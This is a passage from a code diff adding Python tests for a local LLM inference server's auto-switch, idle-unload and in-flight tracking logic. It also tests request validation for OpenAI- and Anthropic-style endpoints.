+    assert src.index("No input provided") < src.index("_maybe_auto_switch_model")
+
+
+def test_responses_system_only_rejected_before_switch(monkeypatch):
+    # Codex P2: instructions-only input normalises to a lone system message, which
+    # passes the empty-input check; it must 400 before the switch so an invalid
+    # Responses request can't evict the resident model.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest
+
+    async def _boom(*a, **k):
+        raise AssertionError("must not switch a system-only Responses request")
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "")
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch):
+    # In-flight must be counted whenever auto-switch is on, even with idle TTL 0,
+    # so enabling idle mid-stream cannot unload an in-flight request.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    kw._inflight = 0
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 1  # counted despite idle TTL being 0
+    assert kw._inflight == 0  # balanced after completion
+
+
+# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ──
+
+
+def _bad_body_request():
+    import json as _json
+    class _BadReq:
+        async def json(self):
+            raise _json.JSONDecodeError("expecting value", "", 0)
+
+    return _BadReq()
+
+
+def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch):
+    # OFF + nothing loaded + unparseable body must still 503 (pre-feature
+    # behavior), not 500 from the early body read.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_non_string_model_falls_through_without_error(monkeypatch):
+    # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be
+    # treated as absent, never raising in the membership checks, even when a stash
+    # exists from idle-unload.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None))
+    asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester"))
+    assert rec.calls == []  # no load, no TypeError
+
+
+def test_anthropic_validates_max_tokens_before_auto_switch():
+    # An Anthropic request missing max_tokens must 400 before the hook runs, so an
+    # invalid request never triggers a model load. Asserted on the source order.
+    import inspect
+
+    src = inspect.getsource(inference_route.anthropic_messages)
+    assert "_maybe_auto_switch_model" in src
+    assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model")
+
+
+def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch):
+    # After idle-unload frees the model, an unknown/alias name (resolves to None)
+    # reloads what was freed, including the exact quant, instead of 503-ing.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the backend
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M"))
+    _run_hook("gpt-4o-mini")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "unsloth/A-GGUF"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"  # exact freed quant restored
+
+
+def test_alias_does_not_reload_when_model_already_loaded(monkeypatch):
+    # The reload only triggers on an empty backend; with something loaded, an
+    # unknown name still falls through (drop-in) without resurrecting the stash.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("unsloth/B-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None))
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []
+
+
+def test_idle_loop_does_not_unload_while_request_pending(monkeypatch):
+    # A request that has marked itself pending (waiting on the unload gate) but not
+    # yet started must keep the idle loop from unloading the model.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+    monkeypatch.setattr(kw, "_last_active", 0.0)  # far past any TTL
+    kw._note_pending()
+    try:
+        assert kw._is_idle(1.0) is False  # pending request blocks unload
+    finally:
+        kw._note_unpending()
+    assert kw._is_idle(1.0) is True  # cleared once it is no longer pending
+
+
+def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch):
+    # A stream that starts while the feature is OFF must still be counted, so
+    # enabling idle-unload mid-stream cannot unload it.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 1  # tracked despite the feature being off
+    assert kw._inflight == 0
+
+
+def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path):
+    # _build_index must scan the same roots the model picker lists, else a model
+    # the UI shows is silently served as the loaded one. Verify each is consulted.
+    from pathlib import Path
+    import routes.models as models_route
+    from utils import paths as upaths
+    import storage.studio_db as studio_db
+
+    scanned = []
+    monkeypatch.setattr(
+        models_route,
+        "_scan_models_dir",
+        lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(
+        models_route,
+        "_scan_hf_cache",
+        lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(
+        models_route,
+        "_scan_lmstudio_dir",
+        lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active")
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy")
+    monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default")
+    monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"])
+    monkeypatch.setattr(
+        studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}]
+    )
+    for sub in ("active", "legacy", "default", "lmstudio", "custom"):
+        (tmp_path / sub).mkdir()
+
+    resolver._build_index()
+
+    hf = {p for k, p in scanned if k == "hf"}
+    lm = {p for k, p in scanned if k == "lm"}
+    assert str((tmp_path / "legacy").resolve()) in hf
+    assert str((tmp_path / "default").resolve()) in hf
+    assert str((tmp_path / "custom").resolve()) in hf
+    assert str((tmp_path / "lmstudio").resolve()) in lm
+
+
+# ── gemini round: list-body 400, non-POST not tracked ──
+
+
+def _json_body_request(payload):
+    class _Req:
+        async def json(self):
+            return payload
+
+    return _Req()
+
+
+def test_completions_list_body_is_400_not_500(monkeypatch):
+    # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400,
+    # not a 500 from body.get(...).
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")  # loaded
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_embeddings_list_body_is_400_not_500(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_middleware_ignores_non_post(monkeypatch):
+    # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 0  # OPTIONS not counted
+    assert kw._inflight == 0
+
+
+# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ──
+
+
+def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch):
+    # A cross-model swap must 409 (not kill) while another inference request is in
+    # flight; the requesting call itself is excluded from the count.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # this request + another active one
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []
+
+
+def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch):
+    # Only the caller is in flight: nothing else to protect, so the swap proceeds.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", None, "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    _run_hook("org/B-GGUF")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/p/B"  # concrete local path, not the repo id
+
+
+def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch):
+    # Same repo, different quant counts as a fresh model: the idle timer resets, so
+    # the new variant is not unloaded before one TTL of its own.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+
+    unloads = []
+    backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.03)
+        assert unloads == []
+        kw._last_active = time.monotonic() - 60  # force idle
+        backend.hf_variant = "Q8_0"  # same id, new quant -> fresh identity
+        await asyncio.sleep(0.03)
+        assert unloads == []  # timer reset by the variant change, not unloaded
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+
+
+def test_generate_stream_is_tracked_as_inference_path():
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/api/inference/generate/stream") is True
+    assert _is_inference_path("/api/inference/audio/generate") is True
+    assert _is_inference_path("/v1/responses") is True
+
+
+def test_successful_manual_load_clears_last_unloaded_stash():
+    from core.inference import llama_keepwarm as kw
+
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M")
+    kw.note_model_loaded()
+    assert kw.get_last_unloaded_model() is None
+
+
+def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path):
+    # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the
+    # local branch (no repo-id download). loader_id stays the repo id.
+    from types import SimpleNamespace
+
+    repo = tmp_path / "models--org--Repo"
+    snap = repo / "snapshots" / "abc123"
+    snap.mkdir(parents = True)
+    (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub")
+
+    entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo)))
+    assert entry is not None
+    assert entry.loader_id == "org/Repo"  # advertised id unchanged
+    assert "snapshots" in entry.load_path  # loads from the concrete snapshot dir
+    assert entry.load_path != "org/Repo"  # never the bare repo id
+    assert entry.variants  # quant detected on disk
+
+
+# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ──
+
+
+def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch):
+    # A model loaded normally has model_identifier == repo id, but the resolver
+    # returns the concrete load path. A request for that repo must count as already
+    # serving (no reload, no 409) even with another inference active.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)
+    monkeypatch.setattr(kw, "_pending", 0)
+    _run_hook("org/Repo-GGUF:Q4_K_M")  # exact quant
+    _run_hook("org/Repo-GGUF")  # bare id
+    assert rec.calls == []
+
+
+def test_auto_switch_advertises_repo_id_after_load(monkeypatch):
+    # After a load-by-path, the backend advertises the repo id (override key), not
+    # the concrete path, so /v1/models and the idle stash stay name-based.
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("org/B-GGUF:Q8_0")
+    assert rec.calls[0].model_path == "/p/B-snapshot"  # loaded by concrete path
+    assert backend._openai_advertised_id == "org/B-GGUF"  # advertised by repo id
+
+
+def test_already_serving_by_path_records_advertised_alias(monkeypatch):
+    # Codex P2: a model loaded by local path and requested via an advertised alias
+    # that resolves to the same path is already serving (no reload), but /v1/models
+    # and responses would report the path basename and list the alias as loaded:false
+    # unless the alias is recorded as the advertised id on the already-serving return.
+    path = "/cache/models--org--Repo-GGUF/snapshots/abc"
+    backend = _FakeBackend(path, hf_variant = "Q4_K_M")  # loaded by path, no advertised id
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    assert backend._openai_advertised_id is None
+    _run_hook("org/Repo-GGUF:Q4_K_M")
+    assert rec.calls == []  # already serving -> no reload
+    assert backend._openai_advertised_id == "org/Repo-GGUF"  # alias now recorded
+
+
+def test_streaming_responses_uses_advertised_id_helper():
+    # Codex P2: streamed /v1/responses envelopes must derive the model id from
+    # _llama_public_model_id (which prefers _openai_advertised_id), not the raw
+    # model_identifier. After an auto-switch to a cached HF GGUF the identifier is
+    # the snapshot path while the repo id lives in _openai_advertised_id, so the raw
+    # form would stream a snapshot basename while /v1/models, chat, and non-streaming
+    # responses report the repo id.
+    import inspect
+
+    src = inspect.getsource(inference_route._responses_stream)
+    assert "_clean_model = _llama_public_model_id(llama_backend" in src
+    assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src
+
+
+def test_concurrent_same_target_requests_load_once(monkeypatch):
+    # Two concurrent requests for the same unloaded model must load once, not each
+    # 409 the other. Simulate the second request already waiting (registered) while
+    # the first runs the hook with _inflight counting both.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # both same-target requests counted
+    monkeypatch.setattr(kw, "_pending", 0)
+    inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1)
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch):
+    # A concurrent request heading to a different target still blocks the swap: the
+    # same-target exclusion must not swallow a genuinely conflicting request.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)
+    monkeypatch.setattr(kw, "_pending", 0)
+    inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []
+
+
+def test_v1_models_advertises_repo_id_not_load_path(monkeypatch):
+    # /v1/models must report the advertised repo id, never the host load path.
+    from types import SimpleNamespace
+
+    llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc")
+    llama._openai_advertised_id = "org/Repo-GGUF"
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(
+        inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None)
+    )
+    objects = inference_route._openai_model_objects()
+    assert [o["id"] for o in objects] == ["org/Repo-GGUF"]
+
+
+def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch):
+    # The idle stash carries (load_path, quant, advertised_id). An alias reload must
+    # look up the override by the advertised repo id, not the concrete load path,
+    # so the user's saved launch flags survive the unload/reload.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    overrides = {"org/A-GGUF": {"max_seq_length": 8192}}
+    monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {}))
+    _run_hook("gpt-4o-mini")
+    assert rec.calls[0].model_path == "/cache/snap/A"  # reloads the freed path
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+    assert rec.calls[0].max_seq_length == 8192  # override keyed by repo id, not path
+
+
+def test_load_route_holds_lifecycle_gate(monkeypatch):
+    # Lock the manual /load gate against silent revert: the route must wrap the
+    # load in inference_lifecycle_gate so idle-unload can't fire mid-load.
+    import inspect
+
+    src = inspect.getsource(inference_route.load_model)
+    assert "inference_lifecycle_gate" in src
+    assert "_load_model_impl" in src
+
+
+def _anthropic_payload(max_tokens = None):
+    from models.inference import AnthropicMessagesRequest, AnthropicMessage
+    return AnthropicMessagesRequest(
+        model = "claude-x",
+        max_tokens = max_tokens,
+        messages = [AnthropicMessage(role = "user", content = "hi")],
+    )
+
+
+def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch):
+    # Default-off parity: unloaded backend + auto-switch off 503s before the
+    # max_tokens 400, exactly as the pre-feature endpoint did.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch):
+    # With auto-switch on, request-shape validation runs first: a missing
+    # max_tokens still 400s before any load is attempted.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester"))
+    assert exc.value.status_code == 400
+
+
+# ── review round 6: concurrency ordering, external untrack, unload gate, ids ──
+
+
+def test_pending_same_target_request_does_not_force_409(monkeypatch):
+    # A second same-target request blocked in the middleware (pending, not yet
+    # generating) must not make the first request 409: pending is excluded.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 1)  # just the caller
+    monkeypatch.setattr(kw, "_pending", 1)  # second request blocked in middleware
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch):
+    # The real middleware counts a concurrent same-model request as in-flight
+    # before it resolves and registers a target waiter. The raw-request waiter,
+    # registered before resolve, must still exclude it so the first request loads.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # caller + a still-resolving twin
+    monkeypatch.setattr(kw, "_pending", 0)
+    # The twin has only registered its raw requested model (not yet a target waiter).
+    inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1)
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_external_untrack_decrements_inflight_and_is_idempotent():
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 2
+    scope = {"type": "http"}
+    kw.untrack_current_request(scope)
+    assert kw._inflight == 1
+    assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True
+    kw.untrack_current_request(scope)  # idempotent: no further decrement
+    assert kw._inflight == 1
+    kw._inflight = 0
+
+
+def test_manual_unload_interrupts_even_while_inference_active(monkeypatch):
+    # A manual /unload is a deliberate action: it tears down immediately even with
+    # a request in flight (only the automatic idle loop defers). No 409.
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    backend = _FakeBackend("org/A-GGUF")
+    backend.is_active = True
+    backend.unload_model = lambda: setattr(backend, "is_loaded", False)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+    monkeypatch.setattr(kw, "_inflight", 1)  # another request streaming
+    monkeypatch.setattr(kw, "_pending", 0)
+    resp = asyncio.run(
+        inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester")
+    )
+    assert resp.status == "unloaded"
+    assert not backend.is_loaded  # torn down despite the active request
+
+
+def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch):
+    # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight).
+    # _load_model_impl would unload it, so auto-switch must 409, not only when a
+    # GGUF is loaded.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # no GGUF loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # an Unsloth stream + this request
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []  # the active Unsloth model is not torn down
+
+
+def test_public_model_id_prefers_advertised_over_path():
+    backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf")
+    backend._openai_advertised_id = "org/Repo-GGUF"
+    # The advertised repo id from an auto-switch load wins.
+    assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF"
+    backend._openai_advertised_id = None
+    # No advertised id: the identifier is cleaned to a public id (delegates to
+    # public_model_id), never the raw on-disk .gguf path.
+    cleaned = inference_route._llama_public_model_id(backend)
+    assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf")
+    # An already-clean repo id passes through unchanged.
+    backend.model_identifier = "org/Repo-GGUF"
+    assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF"
+    backend.model_identifier = None
+    assert inference_route._llama_public_model_id(backend, "req") == "req"
+
+
+def test_chat_validates_non_system_message_before_auto_switch():
+    # A system-only chat must be rejected before the hook so an invalid request
+    # never swaps the resident model. Asserted on source order.
+    import inspect
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("At least one non-system message is required.") < src.index(
+        "_maybe_auto_switch_model"
+    )
+
+
+def test_chat_untracks_external_provider_before_proxy():
+    # The external-provider branch must untrack the request before proxying so its
+    # stream can't block a concurrent local auto-switch.
+    import inspect
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider")
+
+
+# ── round 7: API-initiated training defers to active inference, UI does not ──
+
+
+def test_authenticated_via_api_key_detects_key_vs_session():
+    from fastapi.security import HTTPAuthorizationCredentials
+    from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX
+
+    key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc")
+    jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session")
+    assert asyncio.run(authenticated_via_api_key(key)) is True
+    assert asyncio.run(authenticated_via_api_key(jwt)) is False
+
+
+def _training_request():
+    from models.training import TrainingStartRequest
+    return TrainingStartRequest(
+        model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca"
+    )
+
+
+def test_api_training_refused_while_inference_active(monkeypatch):
+    # API-key caller: training is refused with 409 while a request streams, so it
+    # can't free VRAM by unloading the chat model out from under the stream.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+    import routes.training as training_route
+
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            training_route.start_training(
+                _training_request(), current_subject = "t", via_api_key = True
+            )
+        )
+    assert exc.value.status_code == 409
+
+
+def test_ui_training_not_blocked_by_active_inference(monkeypatch):
+    # UI (session auth) caller: the API guard is skipped, so training proceeds past
+    # it even with inference active (here it hits the normal already-active path).
+    from types import SimpleNamespace
+    from core.inference import llama_keepwarm as kw
+    import routes.training as training_route
+
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1")
+    monkeypatch.setattr(training_route, "get_training_backend", lambda: fake)
+    resp = asyncio.run(
+        training_route.start_training(_training_request(), current_subject = "t", via_api_key = False)
+    )
+    assert resp.status == "error" and "already" in (resp.error or "").lower()
+
+
+# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ──
+
+
+def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch):
+    # With nothing stored, the env var enables idle-unload even while auto-switch
+    # is off (headless/ops default), and the UI reader reflects it.
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d)  # nothing stored
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600")
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
